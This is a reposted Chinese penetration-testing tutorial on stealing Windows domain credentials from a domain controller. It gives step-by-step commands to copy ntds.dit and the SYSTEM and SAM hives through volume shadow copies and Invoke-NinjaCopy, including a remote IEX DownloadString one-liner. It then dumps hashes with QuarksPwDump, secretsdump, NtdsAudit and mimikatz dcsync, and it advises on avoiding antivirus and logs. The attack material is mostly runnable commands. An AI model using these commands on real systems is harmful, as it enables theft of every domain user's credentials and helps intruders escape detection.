今天看啥  ›  专栏  ›  寻_觅

Windows域内密码凭证获取 (゚益゚メ) 渗透测试

寻_觅  · 掘金  ·  · 2021-04-23 16:56
阅读 48

Windows域内密码凭证获取 (゚益゚メ) 渗透测试

文章目录

域凭证介绍

和我们常规Windows电脑不同的是,域中的账户密码采用的是集中管理而非本地模式,所以一旦我们拿到了域控(DC),就可以拿到域中所有用户的口令。
注:下方所有演示的目标机是在一台域控中进行的,我们常规电脑和域中非域控电脑都无法进行下列操作!

获取域内专属凭证(ntds.dit)

C:\Windows\NTDS\ntds.dit%SystemRoot%\NTDS是域控中一个专属的活动目录数据库,包括有关域用户、组和组成员身份的信息。它还包括域中所有用户的密码哈希值。但由于系统高级用户的占用,这种重要文件用户正常情况下是无法对其进行任何操作的。想要获得域内凭证首先就是需要通过各种手段来获取此文件!
PS: 无论是ntds.ditsam都需要要系统中的system文件才能进行解密,同时获取system也是必不可少的操作。
在这里插入图片描述

卷影复制服务(Volume Shadow Copy Service (VSS))

卷影复制服务是Windows2003(Windows XP时代)之后系统自带的功能,官方解释:提供的用于创建一致性的时间点副本(也就是快照)的服务框架。我们简单理解一下就是一个可以在系统运行时还能进行备份(快照)操作的应用。
优点: 系统自带服务,不会被杀毒软件拦截,大多数情况下都是开启的,关闭会影响部分系统正常功能。
缺点: 使用时候会留下日志信息,目标管理员可以借此来收集攻击证据。

使用ntdsutil

ntdsutil是系统自动的一个域管理工具,我们可以利用其携带的几种方法来获取我们需要的文件!

  1. 交互快照模式

    # 这是一个域管理工具
    ntdsutil
    # 启动快照模块
    snapshot
    # 设置活动实例,可以理解为设置需要快照的目标,默认有个ntds,可以备份全部C盘
    activate instance ntds
    # 启动快照,成功后会返回一串数值,这串数值是GUID,下方会用到
    create
    # 装载快照(可以使用`list all`查看当前所有的快照)
    mount 上述返回的GUID
    # 这一步执行完成后,我们的快照会被装载到c盘,可以使用copy方法将其复制出来,如我下方
    copy '挂载文件夹\Windows\NTDS\ntds.dit' C:\备份ntds.dit
    # 如
    copy 'C:\$SNAP_202103102049_VOLUMEC$\Windows\NTDS\ntds.dit' C:\备份ntds.dit
    # 卸载快照
    unmount 快照ID(GUID)
    # 删除快照
    delete 快照ID(GUID)
    # 退出快照
    quit
    #退出卷影控制器
    quit
    复制代码

在这里插入图片描述
2. 非交互快照模式: 在大部分渗透测试常见下,我们对目标命令行并不能有一个良好的交互体验,尽量需要用最少的命令来完成操作。所以非交互式更加适合我们使用。

# 创建快照
ntdsutil snapshot "activate instance ntds" create quit quit
# 挂载快照
ntdsutil snapshot “mount 快照ID(GUID)”quit quit
# 复制挂载的文件 &SNAP_202103102049_VOLUMEC& 是你挂载的文件夹
copy 'C:\$SNAP_202103102333_VOLUMEC$\Windows\NTDS\ntds.dit' c:\备份ntds2.dit
# 卸载删除快照
ntdsutil snapshot "unmount 快照ID(GUID)" "delete 快照ID(GUID)" quit quit
复制代码

在这里插入图片描述
3. 从媒体安装(InstallFromMedia): 在安装域控时候,我们可以选择安装方式,其中一种就是从媒体中安装,我们就可以利用这里有个模块,可以一次性将我们需要的文件都找到!(下方直接演示非交互式做法,非交互式也就是吧下方命令从引号外的空格处拆开即可!)

ntdsutil "activate instance ntds" ifm “create full C:\凭证信息” quit quit
复制代码

在这里插入图片描述

使用vssadmin

vssadmin是一个专门用来管理卷影服务的工具,同样也是系统默认会携带的工具。

# 查看当前系统中有哪些快照(可以不执行此步骤)
vssadmin list shadows
# 创建整个C盘的快照,创建好后我们会获得一个快照地址,
# 比如: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
# 一般只有最后的数字会变,这个地址在cmd中我们可以直接当做C:\来使用!必须是cmd中!不能是powershell
vssadmin create shadow /for=c:
# 复制文件
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\备份ntds3.dit
# 删除快照
vssadmin delete shadows /for=c: /quiet
复制代码

在这里插入图片描述

使用vshadow

vshadow下载地址: download.csdn.net/download/qq…
上述两个工具虽然微软会默认开启,但有经验的老师傅们肯定一般都会对上述两个工具做出一定限制甚至直接关闭,这时候我们就可以用vshadow这个工具了,这是微软开发工具包中的一个工具,有着微软官方的签名,所以也是不会被杀软给干掉的,不过这个工具系统默认不会携带,需要我们手动上传到电脑中!

# 查看当前已有的镜像
.\vshadow.exe -q
# 对C盘(`C:`)创建一个持久(`-p`重启系统之类的操作不会被删除)不用写入(`-nw`no writers,用来提高创建速度)的镜像
.\vshadow.exe -p -nw C:
# 执行上述命令后,会返回很多字符,其中我们主要用到的是`SnapshotSetID`和`Shadow copy device name`
# 其中`SnapshotSetID`主要是用来删除镜像时候使用的
# 而`Shadow copy device name`则和上述vssadmin中生成的快照地址一样可以直接使用来获取我们需要的文件。如下:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\备份ntds4.dit
# 删除时输入SnapshotSetID即可(记得SnapshotSetID加引号)
.\vshadow.exe -dx='SnapshotSetID'
复制代码

在这里插入图片描述

快照挂载

上述,我们碰到了类似\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1的地址,都是使用copy方法直接调用,除此之外我们还能使用创建快捷方式的方法mklink来将其链接到一个文件夹上!

# mklink只能在cmd中使用,无法在powershell使用! 
# /d表示为目录链接,因为是目录,所以一定要用\结尾!
mklink /d c:\镜像\ \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
# 删除镜像
rd c:\镜像
复制代码

在这里插入图片描述

NinjaCopy脚本

卷影复制服务因为是一项系统级服务,所以我们在调用时会留下系统日志,如果我们使用NinjaCopy脚本,即可避免一些系统日志的产生,来减少被系统管理员发现的可能性!

  1. 本地加载脚本: 使用方便,但容易被杀软干掉!
# 在powershell中加载脚本(只能在powershell中运行)
Import-Module .\invoke-NinjaCopy.ps1
# 使用复制模块,目标路径(-Path)下的SAM,复制到指定路径(-LocalDestination )下,这里都推荐使用绝对路径!
Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination c:\sam
Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -LocalDestination c:\system
Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination C:\ntds.dit
复制代码

在这里插入图片描述
2. 远程加载脚本: 需要公网地址将脚本挂载出来!

IEX (New-Object Net.WebClient).DownloadString('http://公网IP//Invoke-NinjaCopy.ps1');Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination c:\sam1.hive
IEX (New-Object Net.WebClient).DownloadString('http://公网IP//Invoke-NinjaCopy.ps1');Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -LocalDestination c:\system1.hive
IEX (New-Object Net.WebClient).DownloadString('http://公网IP//Invoke-NinjaCopy.ps1');Invoke-NinjaCopy -Path C:\Windows\ntds\ntds.dit -LocalDestination c:\ntds1.dit
复制代码

在这里插入图片描述

凭证解密

这里解密大多数获取的都是哈希值,很少能直接获取到明文密码,如果想要获取到明文密码大部分情况还是需要我们使用彩虹表这类的手段。

数据库文件修复

因为我们拿到的用户凭证文件ntds.dit在获取的时候文件是被占用状态,所以获取的文件可能会有一些问题,这时候我们就需要先进行一步修复操作。

# esentutl 是一个微软自带的工具,是专门用来对微软系统数据库进行一些常用操作的工具包,其中/p就代表使用修复功能
esentutl /p /o ntds.dit
复制代码

QuarkPwDump脚本

quarkspwdump下载地址: github.com/redcanari/q…
这是一个用c写的脚本,获取凭证速度非常快!

.\QuarksPwDump.exe --dump-hash-domain --output 凭证存储文件名.txt --ntds-file 目标的ntds数据库
# 如:
.\QuarksPwDump.exe -dhd -o .\QPD凭证信息.txt -nt .\ntds.dit
复制代码

在这里插入图片描述

secretsdump脚本

这是一个Python写的脚本,相较于上述c脚本,在速度方面的确有些缓慢,不过功能还是十分丰富的,甚至能获取部分明文密码!
secretsdump下载地址: github.com/ropnop/impa…

# 使用sam文件获取本地凭证信息
.\secretsdump.exe -sam 测试凭证\SAM -security 测试凭证\SECURITY -system 测试凭证\SYSTEM LOCAL
# 使用ntds文件获取域凭证信息
.\secretsdump.exe -system 测试凭证\SYSTEM -ntds 测试凭证\ntds.dit LOCAL
复制代码

在这里插入图片描述

NtdsAudit脚本

NtdsAudit同样也是一个高效的凭证信息读取工具,不过NtdsAudit不仅仅可以获取用户凭证,还会收集一些十分有用的用户信息!

.\NtdsAudit.exe "测试凭证\ntds.dit" -s "测试凭证\SYSTEM" -p NA密码凭证信息.txt --users-csv 用户信息.csv
复制代码

在这里插入图片描述

其他

如果在目标域控中我们成功上线了猕猴桃,可以使用
如下几个命令

# 此命令可以看到当前客户端所有用户以及域名
sekurlsa::logonpasswords
# 以利用目录复制服务(Directory Replication Service, DRS)从NTDS.DIT文件中提取密码哈希值。
lsadump::dcsync /domain:域名 /all /csv
# 通过dcsync直接获取de1ay域内所有用户哈希
lsadump::dcsync /domain:de1ay.com /all /csv
# 通过dcsync获取de1ay域内某个用户的详细信息
lsadump::dcsync /domain:de1ay.com /user:用户名
# 查看所有用户凭证信息
lsadump::lsa /inject
复制代码

在这里插入图片描述




原文地址:访问原文地址
快照地址: 访问文章快照